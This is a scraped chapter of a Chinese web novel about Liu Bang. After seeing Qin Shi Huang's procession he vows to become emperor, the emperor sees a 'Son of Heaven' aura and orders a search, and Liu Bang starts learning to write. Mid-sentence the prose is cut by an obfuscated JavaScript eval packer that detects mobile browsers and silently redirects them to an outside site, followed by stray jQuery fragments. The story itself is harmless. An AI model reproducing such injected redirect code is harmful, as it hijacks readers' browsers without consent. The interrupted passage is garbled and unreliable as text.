默认冷灰
24号文字
方正启体

8. 秦时明月(八)

作者:秦方方方方本书字数:K更新时间:
    阳光照射在车饰和锋利的兵器上,反射出令人目眩神迷的光芒。那权力顶峰的辉煌景象,如同烧红的烙铁,猛地烫进了刘季的心底。


    在这一刻,什么沛县亭长,变得渺小如尘埃。


    他胸腔中那股盘旋已久的气息骤然奔涌,冲口而出,化作一声混杂着无限惊叹、羡慕、以及某种被骤然点燃的野望的叹息:


    “嗟乎,大丈夫当如此也!”


    声音不高,却沉重有力,落在空旷的坡地上,很快被远处的仪仗鼓乐声淹没。身边有同样避让的路人听见,惊骇地偷眼看这个胆大包天,竟敢发出如此议论的小吏。


    但刘季浑然不觉,他的目光依旧紧紧追随着那远去的帝王仪仗,直到那支黑色的长龙彻底消失在地平线上。


    他站在原地,良久未动。夕阳将他的影子拉得很长,落在身后的黄土坡上。


    一颗心,此刻已被咸阳的宫阙和始皇帝的仪仗,撑开了一片前所未有的广阔苍穹。


    他调转马头,不再留恋身后的帝都繁华,而是面向东南沛县的方向,催动了坐骑。


    回去的路,似乎与来时已截然不同。


    他也想当皇帝,他要当皇帝。


    刘季是个很奇怪的人,他身处底层,但谁与他说上话就能成为朋友,他年少去追星,虽然信陵君已死,但魏府上让他去敬了酒。


    张耳带他入门,他也成了有名的游侠,他三十七岁才娶媳妇,不是被动打的光棍,而是主动,他年少桃花运也多,还与美貌的曹氏有了长子。


    吕家的马车来到沛县,他看中马车里的女郎,从路边摊上拿了颗枣子,向吕雉扔去,吕雉接到了,皱眉看过去,一眼就看到人群里的刘季。


    她气得砸过去,刘季也没躲,任她砸中,转身便敢在吕公宴上狂言贺钱万。而吕公竟也不究其谎,真将爱女下嫁。


    他这一生,仿佛自成天地。礼法、阶层、世俗规条,于他皆若浮云。


    他想成为什么人,便真能成为什么人。


    他游离规则之外。


    而如今,他想当皇帝。


    此念一生,便如种子落入早已备好的沃土,瞬间扎根疯长,无比自然,无比笃定。陈胜吴广起义尚需假借狐鸣鱼书、冒充扶苏项燕。项梁起兵亦要寻来楚王后裔以正名分。


    唯独他刘季,从一开始便径直宣称。我,即是天命所归。我是赤帝之子,斩白蛇而起,龙颜隆准,天下贵人!


    并非需要证据证明他是皇帝,而是因他是刘季,所以他必将为帝。


    风云汇聚,天下气运亦随之奔涌而来。


    始皇銮驾之内,嬴政正闭目养神,车窗外传来的慨叹声微弱如丝,并未入其尊耳。


    然而,就在那一刹那,他心头莫名一悸,仿佛被冥冥中的某种锋芒刺了一下。


    他倏然睁开眼,深邃的目光穿透摇曳的珠帘,望向东南天际。只见远处云层翻涌滚动,隐隐呈现出一种奇特的氤氲之色,非烟非雾,其中仿佛有赤光流转,聚而不散,竟隐隐勾勒出龙腾虎跃之形,带着一种蓬勃欲出的威压之势!


    他竟然在东南方见天子气?


    “止驾!”始皇的声音沉冷而突兀,打断了庄严的仪仗乐声。


    庞大的车队缓缓停下,万千扈从屏息凝神,不知陛下为何突然命令止步。


    随行的太史令及方士们慌忙近前,匍匐听命。


    嬴政并未下车,只抬手指向东南方向那一片异样的云气,声音听不出喜怒:“彼处云气,是何征兆?”


    太史令颤巍巍地抬头望去,仔细观瞧片刻,脸色骤然变得苍白,额角沁出冷汗,伏地不敢言。


    一位以望气之术闻名的老方士,眯着眼凝视良久,浑身猛地一颤,扑倒在地,声音发颤:“陛…陛下,此乃…此乃天子气也!”


    “天子气?”嬴政的目光骤然锐利如刀,车驾内的空气瞬间凝固,“在东南?”


    “千真万确!”老方士以头抢地,“其色五彩,其状如华盖,龙形隐现,这…这是新天子诞生,或即将诞生的征兆啊陛下!就在东南方向!”


    东南方向!


    嬴政的脸色瞬间阴沉得能滴出水来。他扫平六国,一统天下,书同文,车同轨,筑长城以拒胡,建宫室以显威,所为便是缔造万世帝业,令嬴氏江山永固。


    如今竟有“天子气”显于东南?这是对他帝业的挑衅,是对他长生梦的诅咒!


    “好一个天子气。”始皇的声音冰寒刺骨,带着无尽的杀意,“传朕旨意,命东南各郡守严加稽查,若有妖言惑众、形迹可疑者,立斩不赦!再遣锐士,携太史监事,前往东南,给朕细细地搜!但凡有王气所在,掘地三尺,断其龙脉,毁其地脉,朕倒要看看,是什么魑魅魍魉,敢妄称天子!”


    命令一道道传出,带着帝国的铁血与残酷。庞大的车队再次启动,鼓乐声虽依旧恢弘,却仿佛染上了一层肃杀的血色。


    而此刻的刘季,早已策马奔出老远,对身后滔天波澜浑然不觉。


    他只觉得胸中块垒尽去,一股前所未有的畅快与明晰充斥全身。东南沛县的方向,不再是归途,而是征程的起点。


    天际那抹被始皇视为心腹大患的天子气,似乎也随着刘邦心境的豁然开朗,而愈发凝聚鲜活,与马蹄扬起的尘土,一同汇向那即将风起云涌的东南之地。


    刘季回到沛县家中时,风尘仆仆,眉宇间却没了往日的惫懒,那股混不吝的劲儿似乎沉淀了下去,眼底深处多了些让人捉摸不透的东西。


    他依旧会和樊哙、卢绾等人喝酒吹牛,依旧会得意洋洋地炫耀玉豆腐带来的收益,但刘元却敏锐地感觉到,她爹有些不一样了。


    具体哪里不一样,刘元说不上来。直到某天深夜,她起夜时,发现父亲屋里的油灯还亮着。她蹑手蹑脚地扒着门缝往里瞧,看见刘季正皱着眉头,极其笨拙地握着一支秃笔,在一小块破木片上划拉着什么。那姿势别扭得让人看不下去,木片上的痕迹也歪歪扭扭,如同鬼画符。


    刘季是认得一些字的,毕竟当过亭长,处理公文告示,常见的字眼混个眼熟。但也仅止于混个眼熟,真要写,那是提笔忘字,大多数字在他眼里都长得差不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427769|184870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多。


    更何况秦朝统一文字不久,那小篆体对于他这等半文盲来说,简直如同天书符咒,拆开了每个笔画都认识,合在一起根本不解其意。


    刘元正疑惑着,没过两天,她那位被全家寄予厚望、曾送到外地荀子门下求学的小叔刘交,结束游学回来了。


    刘交一身儒生长袍,虽风尘仆仆,却难掩斯文气度,带回来的几卷竹简更是被刘太公奉若珍宝。一家人团聚,自是欢喜。


    然而,刘邦对弟弟带回来的那些高深学问似乎兴趣不大,寒暄过后,他一把搂住刘交的脖子,力道大得差点把弟弟勒岔气,脸上带着点无赖的笑容。


    “老四啊,回来得正好!哥这儿有件要紧事,非得你帮忙不可!”


    刘交被勒得直咳嗽:“三,三哥,何事如此要紧?”


    刘邦松开他,变戏法似的从身后摸出那块划得乱七八糟的木片和秃笔,神色竟有几分罕见的认真:“教哥认字!正经认!还得会写!”


    “啊?”刘交愣住了,简直怀疑自己耳朵出了问题。他这位三哥,从小就不是读书的料,舞枪弄棒、结交朋友在行,让他坐下来读书写字,比让公鸡下蛋还难。如今这是太阳打西边出来了?


    刘太公在一旁也皱起了眉头:“季,你又胡闹什么?交刚回来,让他歇歇。”


    “没胡闹!”刘邦梗着脖子,理由张口就来,“咱家现在不是做豆腐买卖了吗?往后账目往来,立个契据,总不能老是按手印画圈圈吧?让人坑了都不知道!得多认字!”


    这理由听起来合情合理,吕雉在一旁默默点头,觉得丈夫总算想了回正事。


    刘交看着三哥那副认真的表情,虽觉诧异,但还是答应下来:“既然三哥有心向学,弟自当尽力。”


    于是,刘家院里便出现了一副奇景,往日里吆五喝六的亭长刘季,竟真的老老实实坐在弟弟刘交对面,像个蒙童一样,开始一个字一个字地认,一笔一画地写。


    “这念秦,大秦的秦。”


    刘季烦死了,“这笔画也忒多了!跟蜘蛛爬似的!”


    “这念‘帝’,皇帝的帝。”


    “……哦。”


    刘元耳朵竖得老高,她听见阿父念“帝”字时,声音似乎顿了顿,笔下的力道也重了几分。


    她看见阿父学得极其吃力,常常抓耳挠腮,骂骂咧咧,那支秃笔在他手里比剑还难耍,写出来的字依旧惨不忍睹。


    但他却没有像以往那样轻易放弃,骂完了,揉烂了木片,又会换一块新的,继续歪歪扭扭地划拉。


    刘交教得耐心,从最简单的数字,天干地支开始教起。刘邦学得专注,那双惯于洞察人心的眼睛,此刻死死盯着那些复杂的笔画,仿佛要从里面看出别的什么东西来。


    刘元觉得,阿父如此迫切地想要识字,绝不仅仅是为了记豆腐账那么简单。


    他那双突然变得沉静而专注的眼睛里,映出的似乎是比沛县、比豆腐摊更遥远、更庞大的东西。


    肯定那次咸阳之行有关,她爹从零开始当皇帝的路,似乎走上剧情了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)